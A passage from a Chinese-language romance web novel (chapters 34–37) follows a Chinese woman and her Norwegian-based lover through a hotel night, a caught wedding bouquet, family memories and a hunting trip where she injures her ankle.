脸颊在冲锋衣表面轻蹭,像一片被眷恋宠坏的昙花花瓣。方才光顾着心软,没反应过来一针能见血,血的铁锈味有后坐力。我何尝不是在吹鼓幸存者偏差下的善良,要是我不是幸存者了呢,善良也会离我而去。 矛盾得令人头疼,要伊实。 “伊实,我被催眠了。”我说。 “被谁?” “我自己。”果然人有恃无恐起来连自己的状也告,“就在刚刚,两秒前。” “她说什么了?” “她说我堕落了。” 堕落成表面一套背后一套的慈善家,堕落成惧怕时间流逝的蜉蝣,堕落成分不清居安思危还是杞人忧天的狗头军师。 公交车到站,伊实牵着我下车,需要步行三百米才能到达旅店,无名氏的陌生三百米。 “堕落成什么样了,我听听。”伊实继续话题。 没走几步,两人一大一小的脚印就给这三百米赐名为“堕落街”,相当横行霸道。 我回答:“堕落得很厉害。” “什么样?你没说什么样。” “感觉你永远不会离开我。”我的嘴巴和脑子没串通好,本来想说的是:在短暂的幸福里羊癫疯发作了开始诽谤永远。结果说出口的东西怎么听起来这么像在求证,于是我很快紧急避险地补充道:“Foreverwillnotbelong.” 伊实失望地啊了一声,说:“这算哪门子的堕落。” 怎么不算堕落,肖想就是妄想,只闻桃花源,不顾刘子骥。我做不到对典故的教训油盐不进,你一个洋人,书读的不够。 “穆里斯又是和八爪鱼一样缠上来,又是和真正的猫一样蹭我的胳膊,我以为的堕落,至少是对我做点什么。”他遗憾地说。 我把手插回自己的口袋,表情冷酷:“那些也是。” 伊实拒绝空落落,又夺了回去:“透露点像样的堕落给你。” 我洗耳恭听。 “But……”他目测堕落街还有多少距离,旅店温暖的灯光就在不远处,他傲慢地卖了个关子。我问为什么,他说容易着凉。 在一个银装素裹的地方坚持不着凉本身就很理想化。我这样想,和他一起上楼,走过松软地毯铺成的走廊,开门,没等我伸手去摸灯的开关,随着一声手提包落地的声响,我的海拔忽地升高三十厘米。 我不由得惊呼,“伊实?!你要……”做什么。 黑暗中伊实托起我的大腿端上桌,挤掉藏青的夜色而覆盖我的视野,以一种牢固到令大部分使用者都没辙的姿势将我抵在墙上。 这人连不修边幅都能当一张好牌打,可惜我也好面子,就是不喊“过”,纯耗。 伊实吹开黏在我嘴唇上的发丝,在酒气里我同时闻到了烟熏味和木桶味。加之他的皮肤和毛发都白的惊人,我合理怀疑他的真身其实是维多利亚时期既爱吸烟又有一个木质棺材当床睡的家 里蹲吸血鬼。 “揭晓答案的时候到了。”他目光缱绻地盯着我,“给你一个捂住耳朵的机会。” 人类光光两只手,面对吸血鬼我当然是捂脖子。 “你说。” 伊实的脸上忽然浮现笑意,适应黑暗后我看的格外清晰。他说:“我真是对你这副乖乖等天下暴雨的表情欲罢不能。” 就像他不知道说中文的我是个多么有趣的人一样,我有时候也不理解他的wordplay。 “先让我亲一下吧。”他二话不说凑过来,蜻蜓点水般啄了一下,又看看我,出尔反尔地打起水漂。 “够了。”我受不了,宁愿他咬我脖子,双手捂什么都不好使,除了他的嘴。我一板一眼地说:“我不能喝酒。” 他笑意不减,在我掌心里回答:“好。” 所谓像样的堕落到底是什么?我愈发好奇。说出来争个高下,有什么能比幻想永远更加令人发指的堕落。 “穆里斯。” “嗯?” “我想把你关起来。” “嗯?!” “我没做过典狱长,只进过几回警察局,但在里面待的时间还不足以提供自信的经验让我产生这个想法。总有人来保释也不见得都是好事,是吧?如果警官是个变态的话。”屋外驶过的车子在他的眼睛上划过一道宝蓝色的光,“我就是那个变态。” “……” 他解开我的围巾,在背后绑我的手腕,伏在我的耳畔吐蛇信子:“哪门子的堕落?穆里斯?光是想想我都振奋不已。你的感觉让我振奋不已。像样的堕落是我要你每天醒来的第一眼和睡去的最后一眼都是我,要你喘不过气的时候呼唤我的名字,要你发生什么事都第一时间想到我,哪怕是这样都还不够。” 我就知道脖子总有一刻要沦陷,随着时代的变迁他们吸血的功力早就消失在基因里了,取而代之的是烙下刺痛的吻痕。 “God……Revealtoomuch……”伊实只懊恼了一瞬,抬头时又成了裤腰带里别着武器的暴徒,“说点什么。” 手腕绣上一圈红手绢,脖子被砸出一座活火山,心率不齐,眼冒金星,在下都不怕,在下怕的是:“我不值得你那样做。” “还有吗?” “没了。” 话音未落,伊实昂起下颌吻来一阵熊熊火焰般烧毁冬夜的鲜血。一汩接着一汩,从头流到心脏,流到溃烂的胃,流到颤抖的膝盖,流到收到过不公处罚的一切地方。 黑暗安静得仿佛时间凝固从此四维只有三维,而我却听到了轰然巨响,是一颗心脏压在另一颗心脏上的巨响。 久久未能平息,这是肺腔的极限,不是他的极限。 “你知道为什么吗?”伊实用指腹抹开我嘴唇上的水渍。 为什么?我做口型,哑得发不出声音。 “你默许了。” 什么时候? “我想过你会挣扎,会逃跑,会骂我是个败类,但你说,你说了什么记得吗?‘notdeservethat’,而不是‘notdothat’,操……”伊实抑制不住情绪,低下头调整呼吸,“我要炸了。” “……” 如果我能自己解开手腕上的结,我一定摸摸他的额头检查他是否发烧了。 伊实双手撑在两侧,眼底有暗流涌动,说:“值不值得不是你该思考的问题,你要默认你坐在这里,你就是值得被爱的,你是一个特殊的生命,起码对我来说是这样,被爱没有标准。我不管这个世界怎么运作,我只认清一点,一切顺遂都是老子应得的,不顺遂我操他妈的。我没想到你竟然纠结的是值不值得这种愚蠢的问题,我不想止步于和你眉来眼去,清楚吗穆里斯?别管什么值不值得了,我再问你一遍——你会逃跑吗?” 一番暴言震碎了我的三观,地球上还真有人揪着上帝衣领朝它吐口水啊! 相较之下我疯得还是太世俗了,眼前之人才是真正无法无天的暴徒。 双手没法动弹,我还有双脚,盘起围住他的腰间,迅速拽近距离。终于轮到我抵着额头放狠话了。 “我不逃,你也不许跑。” 第35章 第35章人们津津乐道的幸福啊…… 到了病入膏肓的程度也许不必掏空心思救治了,绝症不一定就是毁灭,还有可能是重组。即便在周游世界我也带着一筐“为什么”,用跛脚爬山,当然会摔啊!我连这么简单的道理都不懂,任由万箭穿心,不反击竟只顾着疑惑天上怎么会下箭雨,自爱全数贡献给了纵容自己成天追着尾巴跑的可笑勾当。 一旦我睁开眼睛,触目惊心的万箭重组成了浴室里的洗澡水,伏低做小好不温和。我的喉咙烧断气似的拉锯半响说不出个所以然,这只是后遗症罢了,流离失所的声音一点一点找回巢穴,配得感也如雨后春笋般在爱里滋长,到了我反击的最好时刻。 放在我手上的就是我的了,什么太单薄了你拿不住的,蠢货!手拿不住我用腿夹着,腿夹不住我用头顶着!我的头颅有多少肌肉细胞你不知道吧?惊讶去吧! 我的叫喊声回荡在浴室间,听起来哆哆嗦嗦实则铿锵有力,悬停在墙壁上的泡沫被震得一路下坠。 养眼的鼻梁撑起一片雨林,这是我见过最稀有和美丽的生灵,眉间鼓起的川字勾勒它所在的那座山脉,喝泉水的样子急切又害怕错过什么而故意放慢,小汗珠流到下巴,这是它和那座山脉的对话。 它并非统领者而正在成为统领者,它和山脉有个交易,然而双方都瞒着对方曾在条例上写“势必将其占为己有”的霸王条款。它们就这样和平共处了一年又一年,一个世纪又一个世纪。即便有时候它露出长角发脾气在山上一顿乱搅,等脾气下山后,它也会搬来应有的阳光填补沼泽。 我想一辈子生活在这样的生态环境里,忙碌点好,忙碌点就想不了别的了。 …… 房间外传来一阵挪威语谈话声,隔着一堵门,听起来不清不楚而且饶舌。我被吵醒,枕边人早已没了踪影,外面的亮光透过窗帘小心翼翼地透进来,而我在一天最美好的时刻全身酸痛,并且猛然意识到,房间不隔音。 几分钟后伊实打开房门,热情地跟我说早安。我没有心情回复一个害我颜面尽失的罪魁祸首。 “还想睡一会儿吗?”伊实坐到床边,捋顺我的头发。 他的气色好得令人嫉妒,一改冒冒失失举止轻扬的习惯,居然衣领整齐下巴清爽得一点胡渣都没有!做到了禽兽事后才想起来还要衣冠是吗?Jerk! “你去哪儿了?”我问。不管去哪儿,我都当其参加阅兵仪式去了。 “二楼吃早餐。”伊实回答。 “还有早餐?我也要去。”说着我打算撑起身子,却被一双手按了回去。 伊实说:“刚好过点,你现在去只能舔盘子。” “等等,你为什么不叫醒我?” 伊实脱掉外套扔在一边,说:“别过度恐慌,甜心,我定了客房送餐。” 地地道道的衣冠禽兽做派,我给他鼓掌,随后躺平摆烂。 伊实给我倒了杯温水,我说我要先刷牙再进食,他说那你去刷,我说我懒得动。没错,我希望这时候能有个仆人忠心耿耿亲力亲为地辅助我,所谓能量守恒,能量不会凭空消失,只会从一种形式转换成另一种形式,从一个物体转移到另一个物体。好吧,想再多也不过是通过卖弄学识来合理化我的懒惰而已。 伊实单手叉腰,意味深长地看我,问:“你不是说今天 去坐缆车吗?” “是啊,今天。” “以防你不知道,一天只有24个小时。” “我知道。”我看向他,“不知道的人是你。” 伊实作回忆状,自言自语地清算:“没准凌晨一点,还是一点过一刻,总不能是两点,你睡过去后我就停下了。” 我举手打断他,“昏迷,警官,是昏迷,而且不是意外,是蓄意案件!” 伊实对着我笑,看上去做了一场美梦。他用小拇指勾起桌上的黑色bra,走过来握住我的手将我拉起,在一个散架的木偶人身上倒带。 事实证明他只擅长解开和修理,不擅长安装。我把背后交给他,呆呆地欣赏窗外的阳光,心想若是坐不上缆车,就这样在阳光下走走也是极好的。 “伊实,”我说,“坐缆车需要买票吗?” “当然了。”伊实回答。他大功告成,并且找到了其中的乐趣,命令道:“Handsup.” 我举起双手,保暖衣从头顶套下来,钻洞的空档我问:“万一买不到票的话,怎么办?” “不可能买不到。” 久而久之我已经找到了他说话方式里的诀窍,那就是只说结论不说依据。追问下去属实没必要,因为他还是会用结论回答,你也不懂他哪儿来的气势,总之他不受干扰,有主观能动性就能动。 如此蛮横无理的下场是面对售票员“已售罄”的发言,他拿出两倍价钱还是被拒绝。 资本从头到脚,每个毛孔都滴着血和肮脏的东西啊。我拍了拍他的肩膀,语重心长地说:“Peace.” 早在一群群往下走的人堆里逆行的时候我们就该想到的,但我们都选择了有始有终,说白了就是不信邪,现在好了,缆车坐不到,阳光也转瞬即逝,只收获一片蓝调。然而稀奇的是,我一点儿也不觉得可惜,反倒狂妄地认为,特罗姆瑟早已被我看光,不必多此一举了。 我和伊实在路上游荡,布鲁克发来短信说他先一步回罗弗敦了,他目送克洛伊上飞机后,他不免感到惆怅,仿佛看见她父亲入狱的背影,所以急需一段时间的修养。听得我想收回关于资本和肮脏的发言,像布鲁克这样容易触景生情的资本家,一定非常爱干净。 “我突然记起来,伊实,克洛伊来的第一天,我听到你们的谈话了。”我说。 “Youdo?” “嗯,她当时怀了你的孩子。”我直奔重点,“你这都没心软?” 一团热气从伊实的嘴里冒出,他说:“当你被一个人骗到两万次的时候,你肯定不会再轻易相信她了吧。” “那么怀疑呢,一点儿怀疑都没有吗?看在孩子的面上。” “还好她不是你的前女友。”伊实似乎起了一层鸡皮疙瘩,抖擞抖搂肩膀,“别说她当时怀了一个孩子,就算她现在怀着孕,哦不,抱着一个孩子来见我,我都不会心软。她从三个月前开始锲而不舍地求和,十分离奇,要知道在此之我和她已经整整两年没联系了,看过探案小说的人应该能猜到,一通毫无缘由的电话,很有可能是麻烦的开始。” “你拒绝她的时候也是这样的说辞吗?探案小说之类的。” “没有,那种情况下我还没想出这么聪明的比喻。” 是残忍的比喻吧,我暗暗腹诽。 经过北极大教堂,我们沿路往最近的公交站走,预计今晚登船返航,在天空完全黑下来之前,虽不存在门禁这一说,但也是时候肩膀靠着肩膀歇息歇息了。 走到腿酸时,我不得不承认这是我心中的一块小疙瘩,而且我不得不允许它出现,那便是对人类繁衍的恐惧。光是听见“怀孕”这个词就有够令我眩晕,更何况我深受携子上门的继母的荼毒,认为让全世界都为其网开一面的所谓“新生儿”,本质上是来自地狱的原始恶魔。 按照这个逻辑,我也曾是恶魔,背过“子不教父之过”之后,发现我爹也是恶魔,那么该如何是好呢?唯有敬而远之。 从前我惮烦此事,也无需同他人讲,如今有点儿得意忘形,便想了想如果伊实做了父亲,会不会也养出一只恶魔,可还没往细了想,头就开始刺痛,十分暴力地从左太阳穴痛到右太阳穴,同时颓然意识到,除了当下,我完全设想不到我和伊实的以后,最大的幸福仍然停留在伊实亲吻我的额头说再来一次的那一刻,而不是—— 不远处空旷的平地上,一对穿婚纱和西服的新婚夫妇,手拿一朵捧花,以浪漫的蓝调海面和远处的雪山作景,无惧寒冷,面带微笑地拍婚纱照。 “……”我在心中对上帝竖中指,偷听心声是孬种行为,而我站在原地不敢靠近,也是孬种行为。 伊实随我停下来,顺着我的视线看过去,眼前一亮,说:“瞧瞧!他们有酒!我得过去道个祝贺。” 他牵着我过去,我一步一步跋涉,缄默片刻,对伊实说:“你有没有过幻想?” “什么?” “像他们一样。” 伊实站住,回头看我时神情错愕,“你说什么?” 我继续走,变成了我牵领着他,说:“你怎么想婚姻?” “没体验过,只当过几次伴郎。” “是吗……”离他们越来越近,新人好友们的欢声笑语也越来越清晰,我又问:“他们是幸福的吗?” 伊实的视线一直在我身上,说:“我没主意。” 巧了,我也没主意,既然如此,那就喝酒吧! 我混入新人好友之列,举起伊实的手不断挥舞,欢呼道:“Congratulations!” 摄影师恰好拍下新娘回眸一笑的一瞬间,那是幸福的样子吗?还是没主意。新娘穿上长款羽绒服,背对众人,准备抛捧花。 那是几支绿色洋桔梗,剪断根茎后无论是什么花都不会久活的,可花有重开日,下一句什么来着,不,我想说的不是这个,花会重开,但没有第二次飞翔的机会了,飞出一条抛物线,在广阔的天空里和海鸥齐飞,它们这辈子有且仅有一次的邂逅。 人们津津乐道的幸福啊,到底是真是假,是美丽但有毒的曼陀罗,还是伊甸园的苹果。 花开,花落,竟是从高空坠落。我仰着脖子,酸痛的双腿突然失去了知觉,在我意识不到的刹那,迈出宽大的一步。我,伸手接住了那份捧花。 周围响起热烈的掌声和喝彩,我的心跳怦怦作响,脸颊发热,呆得不轻。怎么会是我,我怎么会伸手去接,我,我…… 我骤然回头,寻找依靠,站在我身后的那个人,清风刮过他微颤带笑的眉眼,在鼎沸中无声且陶醉地,就那样地,看着我。 洋桔梗重开在我的心脏,朵朵争相开放。他走过来,仿佛身后跟着未来,他走过来,搂住我的腰,落下深深一吻,然后还是那样陶醉地看着我,说:“是的,他们是幸福的—— “我也是。” 人吸入了过度氧气后,也会中毒,我埋在他的胸膛里,产生重生的幻觉。 第36章 第36章伊实蒙上脸就是入室抢劫…… 父亲,您或许一辈子都无法拥有这种幸福吧,爱人坐在身旁,手拿捧花,志得意满地和每个路过人宣扬自己捡到了多么珍贵的宝贝。您一定没拥有过吧,因为您不止一个爱人,在爱里贪污,拔掉爱的鳞片换钱。 父亲,您后悔曾掐着我的脖子叫我闭嘴吗?我远走高飞,在世界的尽头失去了宣扬幸福的能力,但我的爱人可以,他把我散架的骨头一块一块拼起来,让我发声。 父亲,就算如此,想必您也对狡诈很有信心吧,因为您知道破镜没法重圆,伤口永远都会留下疤痕。您摧毁了我对爱的一切认知,却十分人性化地留了一条缝,让我透过这条缝窥探爱。您知道哪怕我突破这条缝,往外生根发芽,开出的花也是畸形的。 父亲,您最好的杰作是我,不是您的两个儿子,您塑造了一个渴望快乐同时偏爱痛苦的怪物,一个满世界 寻找有名的画作然后亲手把它烧毁的怪物。 父亲,我失去了丰富的表情,您不允许我缩回蛋壳里,但我必须缩回蛋壳里,找回掉落的第一颗乳牙。这是暴虐之罪,乳牙掉落是暴虐之罪。 父亲,而您犯了欺瞒之罪。我尊敬您,因为尊敬您,我才能全心全意地恨您。您欺瞒我,对我说,幸福是痛苦的开始,是痛苦的最高级别,乃至一份微笑都被您奚落地遍体鳞伤。一百分是退步的开始,夸奖是自负的开始,交友是孤立的开始,仰慕是强。奸的开始。我从小与您对抗,却在潜意识里听信了您的馋言。我恨您,到生命结束为止,我都将如此恨下去。 我终究还是怀着“到底什么是个头啊”的想法睡过去,醒来时想起了一路上的沉默寡言,伊实一定吓坏了,他不明白为什么眼里有光的小孩在接到捧花那一刻变得惊慌失措,变得只有苦笑和反叛似的一言不发。只因为我说了一句:我突然累了,请让我休息一会儿。他便安排妥当所有行程,掀开被褥,将我拥入怀中,轻拍我的后背,讲天南海北的故事。 “穆里斯,这不是摆布,这是幸福。我该拿你怎么办呢?我完全没有对策了,只想着你说什么就是什么,我心甘情愿对你百依百顺,只要你是我的。 “我开始认识到我是个疯疯癫癫的人了,不是指折腾来折腾去,而是……离奇地想要你融入我生活里的每一秒。 “穆里斯,只要你想,怎么对我都行。” 我都听见了,伊实,你的爱足够响亮,我都能听见,但你忘了,你我的初见是在一个时日不多的暴风雪夜,延续生命同斩断生命一样需要巨大的勇气,今日的礼炮对我猛烈撞击,撞击我歪歪斜斜地向前扑倒。在引文里就写上大结局的故事,不得善终。 …… 回到罗弗敦的家,是的,我称之为家,和伊实待久了,越来越喜欢不计后果地对曾经质疑的东西赋予一个交代。回到罗弗敦的家,我寻找我的行李箱,它曾在客厅流浪了一阵子,后来有了固定住所,但我不知道在哪儿。 伊实从仓库里把我的行李箱推出来的时候我决定生个不影响局势但需要哄的气。 “Why?我认为你再也用不到它了。”伊实说得天经地义。 “再把它乱丢我会让你好看。”我骂道,凶巴巴地放倒行李箱。 里面其实没什么好东西,只有一些证件,没电的手机,和几张百元人民币,在这里都用不上。晕,原来洗护用品一样没装进去,知道的倒是不在乎什么自杀讲究,不知道的还以为我来当北欧当野人。 “伊实。”我喊道,背后没应声,我提高音量又喊了一遍:“伊实!” “我在!”脚步声从厨房由远及近。 我举着手机问:“你有适合的充电器吗?” 伊实惊讶于我竟然拥有属于自己的通讯工具,大有装疯卖傻的嫌疑:“我还以为你们中国人交流都靠写信,withpigeonorsomething。” 我把手机交给他,说:“嗯,以后你要和我说什么话请写信,尊重我们五千年的文化。” “我开玩笑。” 手机幸运地找到了适配的充电器,要充一会儿才能开机。伊实去屋外抽烟,可怜的他刚刚突然想起来家里已经没酒了,一并失去的还有调酒的乐趣,所以只好模仿一条搁浅的俄罗斯鲟鱼,在外面发愁。 我盘腿坐在地上,长按开机键,启动图标在黑色屏幕里显现,我有些忐忑,伴随强烈的不可理喻,感觉不应该由我来重启,而是由皇帝身边最有权威的太监为我阅读。但是大清亡了很久了,我只能自己面对。 熟悉的锁屏界面一下子把我拉回一瘸一拐的日子,时间真的只过去了一个月吗?确定不是飞机失事在原本的时空里我早已死亡,而现在的我身处另一个时空吗?还是瞒着所有人住在精神病院的时候我就已经死了,现在的我只是死前的幻想? Holyshit!我以前到底有多资深于自杀!光是一张壁纸就让我回忆起不少在这条路上狂奔的片段,真不是滋味。 解锁后自然是没有网络,终于体现出与世隔绝该有的样子。相册里最近一张照片是我第一天在这拍下的窗外雪景,打算做遗照来着,然后在墓碑上刻“岁月静好”,在微信里装装也就算了,谁能和我一样把逼格带入土?又是一阵忐忑和汗毛耸立,回想起来真不是滋味。 “无信号”三个字给了我点开社交软件的勇气,既收不到被甩了一份辞职信的上司的臭脸,也看不到宝贝儿子被删了一巴掌后父亲的破口大骂,可以坦然回顾前情提要,并且以海纳百川的菩萨心肠与它们和解。 万一和解失败,等伊实进来,我一个一个挑出来告状,等着吧,我迷得人家神魂颠倒,和我作对就是和他作对。 算了,天知地知,这种金丝雀心态完全是在呈口舌之快,事实上我是因为没有办法面对以前的自己,又不忍拒绝,便希望雇佣一个刽子手罢了。 微信里有许多未读消息,这些机灵鬼钻了几小时的空子,在我登机前坐在候机楼发呆的时候冒泡,算得上我从中国带来的现存的新鲜特产。 一半前同事,一半营销号,浓厚的官场气味扑面而来,很没意思,无聊透顶。我往下滑,未曾想碰上了稀客。 大畜。牲,啊,也就是我爸的大儿子,发来两条消息,后一条直接显示在主界面:「2月29号」 什么二月二十九号,报失踪案的日子?没个四年批不下来吧。 我点开……天老爷,剥橘子的时候一定要把橘子离眼睛远一点,否则后果自负。 第一条短信是:「姐,我要结婚了。」 “……” 我对着这条短信出了很久的神,以至于伊实呼唤我不成,将脸贴到我面前来找存在感。 “Whatswrong?”他看不懂手机里的内容,便问:“他是谁?” 我退出聊天框,说:“一个不相干的人。” 若要细想,就要做好心力交瘁的准备,所以我不愿细想。我关掉手机,转移话题道:“你刚刚说什么?” “后天去打猎啊!”伊实摩拳擦掌,从沙发上拿来我的麋鹿手提包,在他手中显得小巧玲珑,他捏了捏,说:“这个,你会喜欢的。” 防止麋鹿被他捏变形,我夺过来,反驳道:“我也喜欢你。” “And?” “以及我要杀掉你!” 我出其不意地扑上去,如猎枪枪管里射出的子弹,将他扑倒在地。他闷哼一声,再厚的背脊也要吃点苦头。他要是反抗我就咬人!心烦意躁的穆里斯最会咬人!在下当仁不让。 可惜伊实没有反抗,他半阖着眼看我,对我灵光一现的行为感到无奈,无奈只有一粒米那样小,这家伙根本是十分享受,正似笑非笑地抚摸我的后背。 “你的意思是,不忍心射死麋鹿?”他说。 我反问:“你忍心吗?” “硬要说的话,我只是偏爱和动物较量。亲爱的,你真该碰一碰猎枪。” 伊实腹部用力,挺身坐起。他摆开我的手臂,掰成举枪的姿势,左手在前,右手放在板机上,指尖对准他的心脏。 “开枪。”他鼓舞道。 多么酣畅淋漓的无实物表演,我双唇一抿,敬业地闭起一只眼睛瞄准,发出拟声词:“BONG!” 伊实中枪重重倒下,捂住胸口,手背的青筋蜿蜒曲折,对我留下遗言:“您是世界上最伟大的猎人!请一定要把我挂在屋里最显眼的墙壁上!” 我哈哈笑:“你等等,让莎士比亚来看看你的样子。” “怎么?我演得不够喜庆?”伊实死而复生,双手撑在背后,屈起左腿,我不得不滑下去,双手按在他的双肩保持平衡。 这位主演为了讨公道竟不惜威逼利诱:“你刚刚征服了世界上最敏捷的猛兽,说出去叫人羡慕,你敢不承认,是猛兽给你的快。感吗?” 我腰酸乏力,弓成一轮弯月,迫切想要下 班,敷衍地说:“对对对,我开辟了新大陆,我是哥伦布。” “有没有听我讲话?”他膝盖抬得更高。 “听见了,和你一起去打猎就是!” 伊实梦想成真,抱着我起身,一边走向卧室,一边絮絮叨叨去年和前年的战绩。 …… 有人一起做梦的确能起到对症下药的效果,伊实教给我的枪法理论知识,被我囫囵吞枣地当成阿司匹林服用,镇痛解热即可见效,我都快忘记那条远在天边的短信了,只偶尔坐在马桶上的时候会稍微想一想,毕竟这种时刻人的大脑最容易异想天开,更闲的发慌。 大畜。牲结婚,长姐不能缺席,到时候他们满天满地找人,真闹到警察局去了,喜事变丧事,家丑外扬不得扬透半边天?虽然这对我来说是喜闻乐见的场景,但在物理学上,余震还是会传达到我这里。 结婚,结个屁婚,刚到法定年龄就迫不及待地找个女人合法操,脑子里和傻爹一样装着三妻四妾,还掏空心思装得仪表堂堂,真令人作呕。 傻爹没告诉他他的姐姐有精神病吗?受到刺激不但欺负弱者还欺负强者,再刺激刺激就会变成死者。 不,我不会去的,打死我也不会去,找得到我再说吧,傻逼。 “穆里斯?”伊实敲门,“你在里面生孩子了?” 我提起裤子大喊:“是只女婴!缅因和布偶的混血!” 伊实激动地拍门:“Dadishere!!Dadishere!eout!!” 我开门,当然,怀里什么都没有,提起一抹公事公办地笑容:“很遗憾,医学奇迹没有发生,看来我们只能去领养一只了。” 伊实抱住我,十分自责:“是Daddy不够努力。” “……” 两个人的玩笑荡漾在同一水平也是一种默契,他不追问我每次将Condom检查个滴水不漏的举动,我也不避讳和他演情景剧。由于看出来我对捧花的犹豫不决,他对此给了我很大的包容,何为包容,他的雄性荷尔蒙能够作证,下到室友,上到养父女,我选择任何方式呆在他身边都将收到全票通过。 伊实蒙上脸就是入室抢劫的犯人。 …… 到达狩猎的雪山,布鲁克和瓦萨里奇父子已经在挑选猎枪。一间坐落于山上的小木屋,面积不大,但能装下琳琅满目各种类型的猎枪。 我扯了扯伊实的衣角,偷偷摸摸地问:“它们合法吗?” 伊实挑挑眉:“不合法的我一般开飞机。” “……”好好好,我多余一问,他妈的暴徒做事就是干脆利落。 “你不用担心,”伊实摸上一把步枪,解释道:“一个连酒都严管的国家,怎么会不管狩猎。” 我们说悄悄话的间隙,乔森。瓦萨里奇走过来,语气听上去像做过针管治疗但没完全康复的蛀牙,说:“所以你会说话。” 我圆溜成一双杏眼,看看他,又看看伊实。穿帮了怎么办,那就继续装哑巴。 伊实漫不经心地一手提枪,一手搭在我的肩膀上,推着我略过乔森,散漫道:“把耳朵捐给梵高,小白脸。” 我在伊实手心一笔一画写上两个中文字:牛逼。并决心在这场狩猎旅行中盲目崇拜他。 麋鹿的体型比我想象中大很多,我以我的体重做单位,它们看上去个个都有三个我。我认识到伊实所说的“较量”是什么意思了,它们十分警觉,有团队意识,起步快,想要它们吃一记子弹不是件容易事。 他们分区域狩猎,而我不摸枪,单纯在野外看《动物世界》的第一手资料。有一只小麋鹿躲在更高一点的树丛间,眼睛漆黑透亮,我想离近点看,便静悄悄地往上走。 这块地形一点儿都不陡,避免打草惊蛇我没和伊实报备,如果他能关注到近百米的猎物的话,一定能关注到一转头就能看见的十几米外的我。 小麋鹿居高望远,安安静静的昂首挺胸,看得我心都化了。对极了宝贝,大自然才是孕育生命的最好环境,你每天只需要看足这里的草啊树啊花啊,到最后眨眨眼就能上本科。看到没,这就是我和你的区别,高下立判! 我怀着自愧不如之心往回走,不料谁在远处开了一枪,小麋鹿受惊,朝我的方向弹射起步。它没料到这里竟还有个埋伏,又是一个弹射起步,受惊的动物变成了我。 脚底一滑,我直直往后翻滚,后面是个截然不同的坡,起起落落硌落落,就是这么倒霉,滚滚而去之间我的脚踝还硌到一块石头。 痛啊!疼啊!痛到连一丝叫喊都发不出来。 天老爷,捉弄的把戏能不能再高妙些,我的脚指甲很不容易好的差不多了,而且前几天才虐了一把胃,您现在拿这考验我?不怕我求生欲全无就地躺下吗?! 好痛!好痛!痛得我睁不开眼睛! 伊实,伊实,快找到我,你总是能很快找到我的不是吗! 雪黏在脸上好冰,我直冒冷汗,度秒如年,比失眠的夜晚更加度秒如年。 “伊实……” 好消息是我能发出一点声音了,坏消息是,只有硌到我的石头听得见。 我在屏住呼吸和用力喘气之间循环往复,挪动受伤的左腿,有一个念头突然硌进我的脑海—— 我要,爬上去。 第37章 第37章春天下秋天的雨,没完没…… 我要爬回劣迹斑斑的人生里去,忍耐肮脏的洗澡水,得到一个干净的身体。穿越迷宫没有比打穿墙壁更好的妙招了,弯弯绕绕的路线是假想敌,真正的敌人是软弱的拳头。 柿子挑软的捏,人挑哑巴欺负,恃强凌弱的小人也不过是在借刀杀人,以为天下着雨,会冲洗掉所有罪证,殊不知雨不分地上是谁的血又是谁的脚印,冲洗掉罪证那么也能冲洗掉报复。最好的报复是:你听说了吗?我们县城出了个丫头,她是不死之身。 你问我理由?去看看除夕夜的烟花吧。 “我在这——!”我爬到坡顶,扯着嗓子朝不远处那个焦灼的背影喊道,短短几米距离用尽了我全身力气。 五指手套此时锋利地扎在雪地里,我捂着脚踝,和一只失去螺层的蜗牛一样愤怒。不是对没有及时放下猎枪向我奔来的猎手愤怒,而是对自己有能力向上爬却偏偏缺少一双腿站起来而愤怒。前所未有的愤怒。 “穆里斯!怎么会这样?!”伊实扯下面罩,双膝从百米高楼砸在地上。 “伊实……”我伸出手,情绪紧绷地反复呢喃:“伊实,伊实……”视线在看到他的一瞬间变得模糊。 他发现我脚踝上的伤势,急匆匆地抱起我,回应每一声哽咽,“我在,我在,我知道,我知道,别哭。”心跳比我还快。 “Ithurts.”我说。不止是脚踝。 “Iknow,Iknow,fuckthem!”他跑得急促,几乎靠滑。 “下次我不会再摔倒了。”我说。 “当然了,漂漂亮亮地操个大的!”伊实喘着粗气,发出比枪声更惊人的警报:“布鲁克!她受伤了!可能伤到了踝骨,最近的急救医院在哪儿?!” 不止是麋鹿,人类也开始逃窜,布鲁克向这边赶来,可伊实一秒也等不了,重复又问了一遍医院地址,得到答案后立马把我抱进车里,扣上我胸前的安全带,亲吻额头安慰道:“会好的,不要害怕好吗?” 我点头,抹掉 眼泪。当沙漏在最后几粒沙流完之前成功反转,我就已经不怕了。只有翻下跟头的那个瞬间最害怕,像梦里踩空的楼梯,连接着无边无际的天空和山崖,天地一片苍白,饶是我再怎么发抖,迎接我的只有翻滚,而非教室里破烂的白炽灯和黄色课桌。 我拉起裤腿查看创伤口,脚踝肿出一块山丘。小时候傻爹老说“不听话就打断你的腿”,如今我的腿脚历经九九八十一难,右脚被砸又轮到左脚,如果这是一种服从性测试的话,那么它差点就要成功了。 伊实用塑料袋装满雪,敷在伤口上,我吃痛呜咽,他抬眸看了我一眼,并没有减轻力度。“这是消肿用的宝贝,会让你好受一点。” 随后他坐上驾驶位,油门踩得汹涌,又说:“忍不了你可以大吼大叫,或者别的,最好把方圆几公里外的救护车喊来。” “……”等等,如果我没有感知错的话,他的愤怒不必我少。 “不是我主动跳下去的。”我解释道。 “我知道,你已经做的很棒了。”他握着方向盘的手十分用力。 “我是累赘吗?”我问。 “不是。”他猛按喇叭,即便前方没有车辆堵塞,“感觉还很疼吗?” “你别开那么快。”我说。在挪威超速的代价他应该比我更清楚。 “你还很疼吗?”他固执地问这个问题。 我只好回答:“不疼了。你开慢一点,伊实,我只是被吓了一跳。” 伊实终于放松油门,在警察发觉前做回良好公民,但他的面部神经没办法放松,太阳穴仍鼓着青筋和难以言说的懊丧。 “伊实,它不严重。”我反过来安慰他。 他不语,脸色阴沉地闷头开车。无论我想说什么,都被那张心事重重的脸堵了回去。 伊实背我进医院,额间流了许多无迹可寻的汗,背一个我对他来说不算吃力,爬几层楼梯也不算吃力。我想到前几次的急救,他会不会也是这样张皇失措,只是闭起眼睛的我没看见。 检查报告显示我的左脚命不该绝,没有骨裂和韧带拉伤,只是软组织肿胀,受三个星期左右的苦就能故技重施地大摔特摔了,一切归功于女娲的实力。 不幸中的万幸让我放下心来,伊实却没有,他问我除了脚踝还有哪里疼。 我耐心等待包扎,说:“没有了。” 伊实不相信,“去卫生间检查一下。” “真的没有了,你买的衣服很暖和,也很厚实,我护住了后脑勺,啊,手套丢在山上了。”我说。 